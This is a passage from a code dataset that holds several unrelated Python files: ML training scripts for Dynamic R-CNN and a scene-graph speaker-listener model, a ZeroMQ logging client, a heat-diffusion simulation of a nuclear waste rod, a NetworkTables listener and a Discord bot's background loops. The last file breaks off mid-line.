)\n\n def __iter__(self):\n return self\n\n def build_extraction_map(self):\n return {\n dimension_name: add_prefix(self.prefix, dimension_name)\n for dimension_name in self.dimensions\n }\n\n def __next__(self):\n # NOTE(toshi): This will raise a StopIteration when there are no more\n # items left, and should be used with a for loop.\n next_line = next(self.reader)\n\n # If this is a legacy source, then we can just return the row\n if not self.extraction_map:\n return next_line\n\n extracted_values = {}\n for dimension_name, mapping_key in self.extraction_map.items():\n extracted_values[dimension_name] = next_line[mapping_key]\n return extracted_values\n\n\ndef build_combined_header(dimension_list, input_prefix, output_prefix):\n '''Returns a list where the first half of the list are the elements in\n dimension_list with 'input' prepended, and then 'output'.\n '''\n header = []\n for prefix in (input_prefix, output_prefix):\n for dimension_name in dimension_list:\n header.append(add_prefix(prefix, dimension_name))\n\n return header\n\n\ndef write_hierarchical_dimensions(\n collector, hierarchical_filename, input_prefix, output_prefix\n):\n with open(hierarchical_filename, 'w') as hierarchical_file:\n header = build_combined_header(\n collector.HIERARCHICAL_DIMENSIONS, input_prefix, output_prefix\n )\n hierarchical_writer = UnicodeDictWriter(hierarchical_file, header)\n hierarchical_writer.writeheader()\n\n for dimension_dict in iter(collector.hierarchical_combinations.values()):\n item_dict = {}\n for dimension_name in collector.HIERARCHICAL_DIMENSIONS:\n item_dict.update(\n {\n add_prefix(input_prefix, dimension_name): (\n dimension_dict['input'].get(dimension_name, '')\n ),\n add_prefix(output_prefix, dimension_name): (\n dimension_dict['output'].get(dimension_name, '')\n ),\n }\n )\n\n hierarchical_writer.writerow(item_dict)\n\n\ndef write_non_hierarchical_dimensions(\n filename, non_hierarchical_items, dimension_text, input_text, output_text\n):\n with open(filename, 'w') as f:\n header = [dimension_text, input_text, output_text]\n writer = UnicodeDictWriter(f, header)\n writer.writeheader()\n for dimension_name, val_dict in iter(non_hierarchical_items.items()):\n for input_val, output_val in val_dict.items():\n writer.writerow(\n {\n dimension_text: dimension_name,\n input_text: input_val,\n output_text: output_val,\n }\n )\n","sub_path":"data/pipeline/datatypes/dimension_collector_io.py","file_name":"dimension_collector_io.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"235250922","text":"import os\nimport argparse\nimport time\nimport datetime\n\nimport torch\nimport torch.distributed as dist\n\nfrom config import config as cfg\nfrom network import Network\nfrom dataset import make_data_loader\n\nfrom dynamic_rcnn.engine.comm import synchronize, get_rank, get_world_size\nfrom dynamic_rcnn.utils.logger import setup_logger\nfrom dynamic_rcnn.utils.metric_logger import MetricLogger\nfrom dynamic_rcnn.utils.pyt_utils import mkdir\nfrom dynamic_rcnn.engine.lr_scheduler import WarmupMultiStepLR\nfrom dynamic_rcnn.engine.checkpoint import DetectronCheckpointer\n\n\ndef make_optimizer(cfg, model, scale_factor=1.):\n params = []\n for key, value in model.named_parameters():\n if not value.requires_grad:\n continue\n lr = cfg.SOLVER.BASE_LR * scale_factor\n weight_decay = cfg.SOLVER.WEIGHT_DECAY\n if \"bias\" in key:\n lr = cfg.SOLVER.BASE_LR * cfg.SOLVER.BIAS_LR_FACTOR * scale_factor\n weight_decay = cfg.SOLVER.WEIGHT_DECAY_BIAS\n params += [{\"params\": [value], \"lr\": lr, \"weight_decay\": weight_decay}]\n\n optimizer = torch.optim.SGD(params, lr, momentum=cfg.SOLVER.MOMENTUM)\n return optimizer\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"PyTorch Object Detection Training\")\n parser.add_argument(\"--local_rank\", type=int, default=0)\n\n args = parser.parse_args()\n\n num_gpus = int(\n os.environ[\"WORLD_SIZE\"]) if \"WORLD_SIZE\" in os.environ else 1\n args.distributed = num_gpus > 1\n\n if args.distributed:\n torch.cuda.set_device(args.local_rank)\n torch.distributed.init_process_group(\n backend=\"nccl\", init_method=\"env://\"\n )\n synchronize()\n\n output_dir = cfg.OUTPUT_DIR\n if output_dir:\n mkdir(output_dir)\n\n logger = setup_logger(\"train\", output_dir, get_rank(),\n filename='train_log.txt')\n logger.info(\"Using {} GPUs\".format(num_gpus))\n logger.info(args)\n\n model = Network()\n device = torch.device(cfg.MODEL.DEVICE)\n model.to(device)\n\n # scaling policy, only suppose batch_size < SOLVER.IMS_PER_BATCH\n lr_steps, scale_factor = cfg.SOLVER.STEPS, 1.0\n batch_size = num_gpus * cfg.SOLVER.IMS_PER_GPU\n if batch_size < cfg.SOLVER.IMS_PER_BATCH:\n assert cfg.SOLVER.IMS_PER_BATCH % batch_size == 0\n scale_factor = cfg.SOLVER.IMS_PER_BATCH // batch_size\n lr_steps = [step * scale_factor for step in lr_steps]\n optimizer = make_optimizer(cfg, model, 1.0 / scale_factor)\n scheduler = WarmupMultiStepLR(\n optimizer, lr_steps, cfg.SOLVER.GAMMA,\n warmup_factor=cfg.SOLVER.WARMUP_FACTOR,\n warmup_iters=cfg.SOLVER.WARMUP_ITERS,\n warmup_method=cfg.SOLVER.WARMUP_METHOD,\n )\n\n if args.distributed:\n model = torch.nn.parallel.DistributedDataParallel(\n model, device_ids=[args.local_rank], output_device=args.local_rank,\n # this should be removed if we update BatchNorm stats\n broadcast_buffers=False,\n )\n\n arguments = {}\n arguments[\"iteration\"] = 0\n\n checkpoint_dir = os.path.join(cfg.OUTPUT_DIR, 'checkpoints')\n mkdir(checkpoint_dir)\n\n save_to_disk = get_rank() == 0\n checkpointer = DetectronCheckpointer(\n cfg, model, optimizer, scheduler, checkpoint_dir, save_to_disk, logger\n )\n extra_checkpoint_data = checkpointer.load(cfg.MODEL.WEIGHT)\n arguments.update(extra_checkpoint_data)\n start_iter = arguments[\"iteration\"]\n\n data_loader = make_data_loader(\n num_gpus, is_train=True, is_distributed=args.distributed,\n start_iter=start_iter)\n\n checkpoint_period = cfg.SOLVER.CHECKPOINT_PERIOD\n\n logger.info(\"Start training\")\n meters = MetricLogger(delimiter=\" \")\n max_iter = len(data_loader)\n\n model.train()\n start_training_time = time.time()\n end = time.time()\n\n rcnn_iou_now = cfg.MODEL.DYNAMIC_RCNN.WARMUP_IOU\n rcnn_beta_now = cfg.MODEL.DYNAMIC_RCNN.WARMUP_BETA\n iteration_count = cfg.MODEL.DYNAMIC_RCNN.ITERATION_COUNT\n S_I, S_E = [], []\n for iteration, (images, targets, _) in enumerate(data_loader, start_iter):\n\n if any(len(target) < 1 for target in targets):\n logger.error(\n \"Iteration={iteration + 1} || Image Ids used for training {_} || targets Length={[len(target) for target in targets]}\")\n continue\n data_time = time.time() - end\n iteration = iteration + 1\n arguments[\"iteration\"] = iteration\n\n scheduler.step()\n\n images = images.to(device)\n targets = [target.to(device) for target in targets]\n\n loss_dict, rcnn_iou_new, rcnn_error_new = model(\n images, targets, rcnn_iou=rcnn_iou_now, rcnn_beta=rcnn_beta_now)\n\n losses = sum(loss for loss in loss_dict.values())\n\n # reduce losses over all GPUs for logging purposes\n def reduce_loss_dict(loss_dict):\n \"\"\"\n Reduce the loss dictionary from all processes so that process with rank\n 0 has the averaged results. Returns a dict with the same fields as\n loss_dict, after reduction.\n \"\"\"\n world_size = get_world_size()\n if world_size < 2:\n return loss_dict\n with torch.no_grad():\n loss_names = []\n all_losses = []\n for k in sorted(loss_dict.keys()):\n loss_names.append(k)\n all_losses.append(loss_dict[k])\n all_losses = torch.stack(all_losses, dim=0)\n dist.reduce(all_losses, dst=0)\n if dist.get_rank() == 0:\n # only main process gets accumulated, so only divide by\n # world_size in this case\n all_losses /= world_size\n reduced_losses = {k: v for k, v in zip(loss_names, all_losses)}\n return reduced_losses\n\n loss_dict_reduced = reduce_loss_dict(loss_dict)\n losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n meters.update(loss=losses_reduced, **loss_dict_reduced)\n\n S_I.append(rcnn_iou_new)\n S_E.append(rcnn_error_new)\n if iteration % iteration_count == 0:\n rcnn_iou_now = max(sum(S_I) / iteration_count,\n cfg.MODEL.DYNAMIC_RCNN.WARMUP_IOU)\n rcnn_beta_now = min(sorted(S_E)[iteration_count // 2],\n cfg.MODEL.DYNAMIC_RCNN.WARMUP_BETA)\n S_I, S_E = [], []\n\n optimizer.zero_grad()\n losses.backward()\n optimizer.step()\n\n batch_time = time.time() - end\n end = time.time()\n meters.update(time=batch_time, data=data_time)\n\n eta_seconds = meters.time.global_avg * (max_iter - iteration)\n eta_string = str(datetime.timedelta(seconds=int(eta_seconds)))\n\n if iteration % 20 == 0 or iteration == max_iter:\n logger.info(\n meters.delimiter.join(\n [\n \"eta: {eta}\",\n \"iter: {iter}\",\n \"{meters}\",\n \"lr: {lr:.6f}\",\n \"max mem: {memory:.0f}\",\n ]\n ).format(\n eta=eta_string,\n iter=iteration,\n meters=str(meters),\n lr=optimizer.param_groups[0][\"lr\"],\n memory=torch.cuda.max_memory_allocated() / 1024.0 / 1024.0,\n )\n )\n if iteration % checkpoint_period == 0 or iteration == max_iter:\n checkpointer.save(\"model_{:07d}\".format(iteration), **arguments)\n\n total_training_time = time.time() - start_training_time\n total_time_str = str(datetime.timedelta(seconds=total_training_time))\n logger.info(\n \"Total training time: {} ({:.4f} s / it)\".format(\n total_time_str, total_training_time / max_iter\n )\n )\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"models/zhanghongkai/dynamic_rcnn/coco/dynamic_rcnn_r101_fpn_2x/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"321912966","text":"\nfrom __future__ import unicode_literals\nimport json\nimport time\nimport zmq\nimport platform\nimport sys\n\n\nclass EvCom:\n def __init__(self, verbose=False):\n self.verbose = verbose\n\n def bindTo(self, socket, port):\n print(\"binding:\", port)\n sys.stdout.flush()\n try:\n addr = \"tcp://*:\"+str(port)\n socket.bind(addr)\n return True\n except ValueError:\n if self.verbose:\n print(\"Err:\", ValueError)\n return False\n\n def registerEventCommander(self, name, server, listenport=5401):\n self.name = name\n self.context = zmq.Context()\n self.logpubsock = self.context.socket(zmq.PUB)\n self.reqsock = self.context.socket(zmq.REQ)\n self.repcmdsock = self.context.socket(zmq.REP)\n\n myHostname = platform.node()\n\n port1 = listenport\n port2 = listenport + 1\n\n try:\n self.reqsock.connect(server)\n except ValueError:\n if self.verbose:\n print(\"Cannot connect to server at \"+server)\n sys.stdout.flush()\n return False\n\n self.bindTo(self.logpubsock, port1)\n self.bindTo(self.repcmdsock, port2)\n if port1 is False or port2 is False:\n if self.verbose:\n print(\"Failed to bind local port(s)\")\n sys.stdout.flush()\n return False\n\n remoteev = \"tcp://\"+myHostname+\":\"+str(port1)\n remotecmd = \"tcp://\"+myHostname+\":\"+str(port2)\n cmd = {'MsgType': \"RegisterEventCommander\", 'Name': name,\n 'EventAddress': remoteev,\n 'CmdAddress': remotecmd}\n js = json.dumps(cmd)\n self.reqsock.send_string(js)\n if self.verbose:\n print(\"Waiting for reg feedback...\")\n sys.stdout.flush()\n message = self.reqsock.recv()\n if self.verbose:\n print(message)\n sys.stdout.flush()\n return True\n\n def unregisterEventCommander(self):\n try:\n self.logpubsock.close()\n self.reqsock.close()\n self.repcmdsock.close()\n self.context.destroy()\n return True\n except ValueError:\n if self.verbose:\n print(\"Failure during unregister.\")\n sys.stdout.flush()\n return False\n\n def Log(self, level, topic, message):\n date = time.time()\n cmd = {'MsgType': \"LogMsg\", 'Date': date, 'Level': level,\n 'Name': self.name, 'Topic': topic, 'Msg': message}\n js = json.dumps(cmd)\n self.logpubsock.send_string(js)\n\n def Entity(self, entity, propert, value):\n date = time.time()\n cmd = {'MsgType': \"EntityMsg\", 'Date': date, 'Entity': entity,\n 'Property': propert, 'Value': value}\n js = json.dumps(cmd)\n self.logpubsock.send_string(js)\n\n\nif __name__ == \"__main__\":\n ec = EvCom(verbose=True)\n if ec.registerEventCommander(\"Python\", \"tcp://localhost:5101\", listenport=5546) is True:\n print(\"Successfully registered EventCommander\")\n else:\n print(\"Failed to register!\")\n quit()\n time.sleep(1)\n ec.Log(\"Info\", \"System\", \"Startup complete\")\n # ec.Log(\"Verbose\", \"System\", \"Doing nothing much\")\n # ec.Log(\"Warning\", \"Task\", \"Looks bad!\")\n # ec.Log(\"Fatal\", \"System\", \"OMG!\")\n # ec.Entity(\"CPU\", \"Power\", 50)\n ec.Entity(\"FHEM\", \"property\", \"value\")\n ec.Entity(\"switch/lamp\",\"state\", \"on\")\n time.sleep(1)\n if ec.unregisterEventCommander() is True:\n print(\"Successfully unregistered\")\n else:\n print(\"Something went wrong with unregister!\")\n","sub_path":"pythonclient/python-node-syncognite.py","file_name":"python-node-syncognite.py","file_ext":"py","file_size_in_byte":3678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"111617003","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 27 19:56:23 2018\n\n@author: vitreloy\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 27 09:16:55 2018\nSolve temperature field of a nuclear waste rod by using Euler method\n\n@author: Apiwat Wisitsorasak\n\"\"\"\nimport numpy as np\nimport matplotlib.pylab as plt\n# Parameters (All variables are in SI units)\nc = 789.0 # Heat capacity of concrete\nsigma = 1.00 # Emissivity ? [W/mK]\nrho = 2.00e3 # Density [kg/m**3]\nkappa = sigma/c/rho # [m**2/s]\na = 0.25 # Cut-off radius [m]\nxmin = 0.0 # minimum x [m]\nxmax = 1.0 # maximum x [m]\nT0 = 1.0 # Temperature constant [K]\ntau0 = 1.0*100*3600*24*365 # Time constant [s]\nTE = 300 # Ambient temperature [K]\n# \nNGrid = 100 # Number of grids\ndx = (xmax - xmin)/NGrid # Grid size\nNTime = 1000 # Number of time steps\ndt = 3600*24*30 # Time step\n# \nTa = np.ones((NGrid,1))*TE # Initial T (or T at step n)\nTb = np.zeros((NGrid,1)) # T at step n+1\nAA = np.zeros((NGrid,NGrid))# Coeffient matrix\nBB = np.zeros((NGrid,1)) # Right-hand vector\nTdiff = Ta - np.ones([NGrid,1])*TE # Temperature difference (compare with initial T)\n\nTD = Tdiff.T # Transpose \n# Main computation\nti = dt\ntn = 1\nwhile tn<=NTime: # Main time loop\n xi = 1 \n while xi<=NGrid: # Spatial variable loop\n i = xi-1 # Index of matrix start with 0, not 1\n gi = kappa*dt/(dx*dx) # gamma\n if (xi*dx)<=a:\n S = kappa*(T0/a/a)*np.exp(-ti/tau0) # Source term (inside nuclear waste rod)\n else:\n S = 0.0 # Source term (outside nuclear waste rod)\n if xi == 1: # Left boundary\n A = 0.0\n B = 1.0 + gi\n C = -gi\n D = Ta[i] + dt*S\n AA[i][i] = B\n AA[i][i+1] = C\n BB[i] = D \n elif xi == NGrid: # Right boundary\n A = -gi\n B = 1.0 + 2*gi\n C = 0.0\n D = Ta[i] + dt*S + gi*TE\n AA[i][i-1] = A\n AA[i][i] = B\n BB[i] = D \n else: # Any other i\n A = -gi\n B = 1 + 2*gi\n C = -gi\n D = Ta[i] + dt*S\n AA[i][i-1] = A\n AA[i][i] = B\n AA[i][i+1] = C\n BB[i] = D\n xi = xi + 1\n Tb = np.dot(np.linalg.inv(AA),BB) # Solve for T_n+1\n Ta = Tb # Update variables\n Tdiff = Ta - np.ones([NGrid,1])*TE # Compute T_diff\n TD = np.append(TD,Tdiff.T,axis=0) # Store data\n ti = ti + dt\n tn = tn + 1\n# End of while loop\nplt.figure(1)\nplt.imshow(TD,aspect='auto')\nplt.colorbar()\nplt.xlabel(r'$r$ [cm]')\nplt.ylabel('Time [Month]')\n\ni = 1\nR = np.ones(NGrid)\nwhile i<=NGrid:\n R[i-1] = i*dx \n i = i + 1\n \nplt.figure(2) \nplt.plot(R,TD[0],'r--',R,TD[10],'go',R,TD[50],'bs',R,TD[500],'k*',R,TD[1000],'m.')\nplt.legend(('0','1 month','5 months','50 months','100 months'))\nplt.xlabel(r'$r$ [cm]')\nplt.ylabel(r'$\\Delta T \\equiv T(t_i) - T(0)$ [K]')\nplt.show()\n\n\n","sub_path":"21_PDE/AE_NuclearWasteRod_X_Implicit_SI.py","file_name":"AE_NuclearWasteRod_X_Implicit_SI.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"212463105","text":"#!/usr/bin/env python3\n'''This NetworkTables client listens for changes in NetworkTables values.'''\n\nimport time\nfrom networktables import NetworkTables\nimport logging\n\n# To see messages from networktables, you must setup logging\nlogging.basicConfig(level=logging.DEBUG)\n\ndef valueChanged(table, key, value, isNew):\n print(\"{}; key: {}; value: {}; isNew: {}\".format(table, key, value, isNew))\n\nNetworkTables.initialize(server='192.168.1.21')\nsd = NetworkTables.getTable(\"SmartDashboard\")\nsd.addEntryListener(valueChanged)\n\nwhile True:\n time.sleep(1)\n","sub_path":"frc/network_tables/nt_listener_example.py","file_name":"nt_listener_example.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"91276975","text":"from discord.ext import commands\nimport discord\nimport asyncio\nimport logging\nfrom random import choice\nimport json\nimport dbl\nimport arrow\nfrom os import system\n\n\nclass Loops(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n self.g = self.bot.get_cog(\"Global\")\n self.db = self.bot.get_cog(\"Database\")\n\n self.logger = logging.getLogger(\"Loops\")\n self.logger.setLevel(logging.INFO)\n\n async def update_activity(self):\n while self.bot.is_ready():\n await asyncio.sleep(3600)\n await self.bot.change_presence(activity=discord.Game(name=choice(self.g.playingList)))\n\n async def reset_cmd_vect_counter(self):\n while self.bot.is_ready():\n await asyncio.sleep(1)\n self.g.cmd_vect[1] = self.g.cmd_vect[0]\n self.g.cmd_vect[0] = 0\n\n async def reset_vote_vect_counter(self):\n while self.bot.is_ready():\n await asyncio.sleep(3600)\n self.g.vote_vect[1] = self.g.vote_vect[0]\n self.g.vote_vect[0] = 0\n\n async def backup_database(self):\n while self.bot.is_ready():\n await asyncio.sleep(43200)\n system(\"pg_dump villagerbot | gzip > ../database-backups/{0}.gz\".format(arrow.utcnow().ctime().replace(\" \", \"_\").replace(\":\", \".\")))\n\n async def update_roles(self):\n while self.bot.is_ready():\n await asyncio.sleep(10*60)\n econ = self.bot.get_cog(\"Econ\")\n for user in self.bot.get_guild(641117791272960031).members:\n await econ.update_user_role(user.id)\n\n @commands.Cog.listener()\n async def on_ready(self):\n await asyncio.sleep(60)\n self.bot.loop.create_task(self.update_activity())\n self.bot.loop.create_task(self.reset_cmd_vect_counter())\n self.bot.loop.create_task(self.reset_vote_vect_counter())\n self.bot.loop.create_task(self.backup_database())\n self.bot.loop.create_task(self.update_roles())\n\n\ndef setup(bot):\n bot.add_cog(Loops(bot))\n","sub_path":"cogs/other/loops.py","file_name":"loops.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"556088144","text":"# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.\n\"\"\"\nBasic training script for PyTorch\n\"\"\"\n\n# Shlomi Ha Gever.\n\n# Set up custom environment before nearly anything else is imported\n# NOTE: this should be the first import (no not reorder)\nfrom maskrcnn_benchmark.utils.env import setup_environment # noqa F401 isort:skip\nimport argparse\nimport datetime\nimport os\nimport time\nfrom copy import deepcopy\nimport PIL\nimport torch\nimport torch.nn.functional as F\nimport torch.distributed as dist\nimport torchvision\n# See if we can use apex.DistributedDataParallel instead of the torch default,\n# and enable mixed-precision via apex.amp\nimport wandb\nfrom PIL import Image\nfrom torch.nn.utils import clip_grad_norm_\nfrom torchvision import transforms\nfrom maskrcnn_benchmark.config.paths_catalog import DatasetCatalog\n# Speaker Listener imports\nimport maskrcnn_benchmark.listener\nimport maskrcnn_benchmark.structures.image_list\nfrom maskrcnn_benchmark.config import cfg\nfrom maskrcnn_benchmark.data import make_data_loader\nfrom maskrcnn_benchmark.engine.inference import listener_inference, inference\nfrom maskrcnn_benchmark.engine.trainer import reduce_loss_dict\nfrom maskrcnn_benchmark.listener.listener import build_listener\nfrom maskrcnn_benchmark.listener.utils import collate_sgs, format_scores, format_scores_reg, MistakeSaver, load_vg_info\nfrom maskrcnn_benchmark.modeling.detector import build_detection_model\nfrom maskrcnn_benchmark.solver import (make_listener_optimizer,\n make_lr_scheduler, make_optimizer, make_speaker_listener_optimizer)\nfrom maskrcnn_benchmark.structures.image_list import to_image_list\nfrom maskrcnn_benchmark.utils.checkpoint import (Checkpointer,\n DetectronCheckpointer,\n clip_grad_norm,\n clip_grad_value)\nfrom maskrcnn_benchmark.utils.collect_env import collect_env_info\nfrom maskrcnn_benchmark.utils.comm import (all_gather, get_rank,\n is_main_process, synchronize)\nfrom maskrcnn_benchmark.utils.imports import import_file\nfrom maskrcnn_benchmark.utils.logger import debug_print, setup_logger\nfrom maskrcnn_benchmark.utils.metric_logger import MetricLogger\nfrom maskrcnn_benchmark.utils.miscellaneous import mkdir, save_config\n\ntry:\n from apex import amp\nexcept ImportError:\n raise ImportError('Use APEX for multi-precision via apex.amp')\n\nclass SpeakerListener(torch.nn.Module):\n def __init__(self, speaker, listener, cfg, is_joint=False):\n super(SpeakerListener, self).__init__()\n self.speaker = speaker\n self.listener = listener\n self.cfg = cfg\n self.is_joint = is_joint\n\n def forward(self, speaker_images, targets, listener_images):\n speaker_loss, sgs = self.speaker(speaker_images, targets)\n sgs = collate_sgs(sgs, cfg.MODEL.DEVICE)\n\n score_matrix = torch.zeros( (listener_images.size(0), listener_images.size(0)) ).to(listener_images.get_device())\n for true_index, sg in enumerate(sgs):\n if not self.is_joint:\n detached_sg = (sg[0].detach().requires_grad_().to(torch.float32), sg[1].long(), sg[2].detach().requires_grad_().to(torch.float32))\n else:\n detached_sg = sg\n\n scores = self.listener(detached_sg, listener_images)\n #with amp.disable_casts():\n # scores = self.listener(detached_sg, listener_images)\n score_matrix[true_index] = scores\n\n if self.is_joint:\n return score_matrix, sgs, speaker_loss\n else:\n return score_matrix\n\n def add_speaker_checkpointer(self, checkpointer):\n self.speaker_checkpointer = checkpointer\n \n def add_listener_checkpointer(self, checkpointer):\n self.listener_checkpointer = checkpointer\n\n def save_listener(self, name, **kwargs):\n self.listener_checkpointer.save(name, kwargs)\n\n def load_listener(self):\n if self.listener_checkpointer.has_checkpoint():\n extra_listener_checkpoint_data = self.listener_checkpointer.load()\n amp.load_state_dict(extra_listener_checkpoint_data['amp'])\n\n def save_speaker(self, name, **kwargs):\n self.speaker_checkpointer.save(name, kwargs)\n\n def load_speaker(self, load_mapping=None):\n if self.speaker_checkpointer.has_checkpoint():\n extra_checkpoint_data = self.speaker_checkpointer.load(cfg.MODEL.PRETRAINED_DETECTOR_CKPT, \n update_schedule=cfg.SOLVER.UPDATE_SCHEDULE_DURING_LOAD) \n else:\n # load_mapping is only used when we init current model from detection model.\n self.speaker_checkpointer.load(cfg.MODEL.PRETRAINED_DETECTOR_CKPT, with_optim=False, load_mapping=load_mapping)\n\ndef train(cfg, local_rank, distributed, logger):\n if is_main_process():\n wandb.init(project='scene-graph', entity='sgg-speaker-listener', config=cfg.LISTENER)\n debug_print(logger, 'prepare training')\n\n model = build_detection_model(cfg)\n listener = build_listener(cfg)\n\n speaker_listener = SpeakerListener(model, listener, cfg, is_joint=cfg.LISTENER.JOINT)\n if is_main_process():\n wandb.watch(listener)\n \n\n debug_print(logger, 'end model construction')\n\n # modules that should be always set in eval mode\n # their eval() method should be called after model.train() is called\n eval_modules = (model.rpn, model.backbone, model.roi_heads.box,)\n \n fix_eval_modules(eval_modules)\n\n # NOTE, we slow down the LR of the layers start with the names in slow_heads\n if cfg.MODEL.ROI_RELATION_HEAD.PREDICTOR == \"IMPPredictor\":\n slow_heads = [\"roi_heads.relation.box_feature_extractor\",\n \"roi_heads.relation.union_feature_extractor.feature_extractor\",]\n else:\n slow_heads = []\n\n # load pretrain layers to new layers\n load_mapping = {\"roi_heads.relation.box_feature_extractor\" : \"roi_heads.box.feature_extractor\",\n \"roi_heads.relation.union_feature_extractor.feature_extractor\" : \"roi_heads.box.feature_extractor\"}\n \n if cfg.MODEL.ATTRIBUTE_ON:\n load_mapping[\"roi_heads.relation.att_feature_extractor\"] = \"roi_heads.attribute.feature_extractor\"\n load_mapping[\"roi_heads.relation.union_feature_extractor.att_feature_extractor\"] = \"roi_heads.attribute.feature_extractor\"\n\n device = torch.device(cfg.MODEL.DEVICE)\n model.to(device)\n listener.to(device)\n\n num_gpus = int(os.environ[\"WORLD_SIZE\"]) if \"WORLD_SIZE\" in os.environ else 1\n num_batch = cfg.SOLVER.IMS_PER_BATCH\n \n \n optimizer = make_optimizer(cfg, model, logger, slow_heads=slow_heads, slow_ratio=10.0, rl_factor=float(num_batch))\n listener_optimizer = make_listener_optimizer(cfg, listener)\n scheduler = make_lr_scheduler(cfg, optimizer, logger)\n listener_scheduler = None\n debug_print(logger, 'end optimizer and schedule')\n\n if cfg.LISTENER.JOINT:\n speaker_listener_optimizer = make_speaker_listener_optimizer(cfg, speaker_listener.speaker, speaker_listener.listener) \n\n # Initialize mixed-precision training\n use_mixed_precision = cfg.DTYPE == \"float16\"\n amp_opt_level = 'O1' if use_mixed_precision else 'O0'\n\n \n if cfg.LISTENER.JOINT:\n speaker_listener, speaker_listener_optimizer = amp.initialize(speaker_listener, speaker_listener_optimizer, opt_level='O0')\n else:\n speaker_listener, listener_optimizer = amp.initialize(speaker_listener, listener_optimizer, opt_level='O0')\n\n #listener, listener_optimizer = amp.initialize(listener, listener_optimizer, opt_level='O0')\n #[model, listener], [optimizer, listener_optimizer] = amp.initialize([model, listener], [optimizer, listener_optimizer], opt_level='O1', loss_scale=1)\n #model = amp.initialize(model, opt_level='O1')\n\n if distributed:\n model = torch.nn.parallel.DistributedDataParallel(\n model, device_ids=[local_rank], output_device=local_rank,\n # this should be removed if we update BatchNorm stats\n broadcast_buffers=False,\n find_unused_parameters=True,\n )\n\n listener = torch.nn.parallel.DistributedDataParallel(\n listener, device_ids=[local_rank], output_device=local_rank,\n # this should be removed if we update BatchNorm stats\n broadcast_buffers=False,\n find_unused_parameters=True,\n )\n\n debug_print(logger, 'end distributed')\n arguments = {}\n arguments[\"iteration\"] = 0\n\n output_dir = cfg.OUTPUT_DIR\n listener_dir = cfg.LISTENER_DIR \n save_to_disk = get_rank() == 0\n\n speaker_checkpointer = DetectronCheckpointer(\n cfg, model, optimizer, scheduler, output_dir, save_to_disk, custom_scheduler=True\n )\n\n listener_checkpointer = Checkpointer(\n listener, optimizer=listener_optimizer, save_dir=listener_dir, save_to_disk=save_to_disk, custom_scheduler=False\n )\n\n speaker_listener.add_listener_checkpointer(listener_checkpointer)\n speaker_listener.add_speaker_checkpointer(speaker_checkpointer)\n \n speaker_listener.load_listener()\n speaker_listener.load_speaker(load_mapping=load_mapping)\n debug_print(logger, 'end load checkpointer')\n train_data_loader = make_data_loader(\n cfg,\n mode='train',\n is_distributed=distributed,\n start_iter=arguments[\"iteration\"],\n ret_images=True\n )\n val_data_loaders = make_data_loader(\n cfg,\n mode='val',\n is_distributed=distributed,\n ret_images=True\n )\n\n debug_print(logger, 'end dataloader')\n checkpoint_period = cfg.SOLVER.CHECKPOINT_PERIOD\n\n if cfg.SOLVER.PRE_VAL:\n logger.info(\"Validate before training\")\n #output = run_val(cfg, model, listener, val_data_loaders, distributed, logger)\n #print('OUTPUT: ', output)\n #(sg_loss, img_loss, sg_acc, img_acc) = output\n\n logger.info(\"Start training\")\n meters = MetricLogger(delimiter=\" \")\n max_iter = len(train_data_loader)\n start_iter = arguments[\"iteration\"]\n start_training_time = time.time()\n end = time.time()\n\n print_first_grad = True\n\n listener_loss_func = torch.nn.MarginRankingLoss(margin=1, reduction='none')\n mistake_saver = None\n if is_main_process():\n ds_catalog = DatasetCatalog()\n dict_file_path = os.path.join(ds_catalog.DATA_DIR, ds_catalog.DATASETS['VG_stanford_filtered_with_attribute']['dict_file'])\n ind_to_classes, ind_to_predicates = load_vg_info(dict_file_path)\n ind_to_classes = {k:v for k,v in enumerate(ind_to_classes)}\n ind_to_predicates = {k:v for k,v in enumerate(ind_to_predicates)}\n print('ind to classes:', ind_to_classes, '/n ind to predicates:', ind_to_predicates)\n mistake_saver = MistakeSaver('/Scene-Graph-Benchmark.pytorch/filenames_masked', ind_to_classes, ind_to_predicates)\n\n #is_printed = False\n while True:\n try:\n listener_iteration=0\n for iteration, (images, targets, image_ids) in enumerate(train_data_loader, start_iter):\n\n if cfg.LISTENER.JOINT:\n speaker_listener_optimizer.zero_grad()\n else: \n listener_optimizer.zero_grad()\n\n #print(f'ITERATION NUMBER: {iteration}')\n if any(len(target) < 1 for target in targets):\n logger.error(f\"Iteration={iteration + 1} || Image Ids used for training {_} || targets Length={[len(target) for target in targets]}\" )\n if len(images) <= 1:\n continue\n\n data_time = time.time() - end\n iteration = iteration + 1\n listener_iteration += 1\n arguments[\"iteration\"] = iteration\n model.train()\n fix_eval_modules(eval_modules)\n images_list = deepcopy(images)\n images_list = to_image_list(images_list, cfg.DATALOADER.SIZE_DIVISIBILITY).to(device)\n \n \n\n for i in range(len(images)):\n images[i] = images[i].unsqueeze(0)\n images[i] = F.interpolate(images[i], size=(224, 224), mode='bilinear', align_corners=False)\n images[i] = images[i].squeeze()\n\n images = torch.stack(images).to(device)\n #images.requires_grad_()\n\n targets = [target.to(device) for target in targets]\n\n\n speaker_loss_dict = {}\n if not cfg.LISTENER.JOINT:\n score_matrix = speaker_listener(images_list, targets, images)\n else:\n score_matrix, _, speaker_loss_dict = speaker_listener(images_list, targets, images)\n \n speaker_summed_losses = sum(loss for loss in 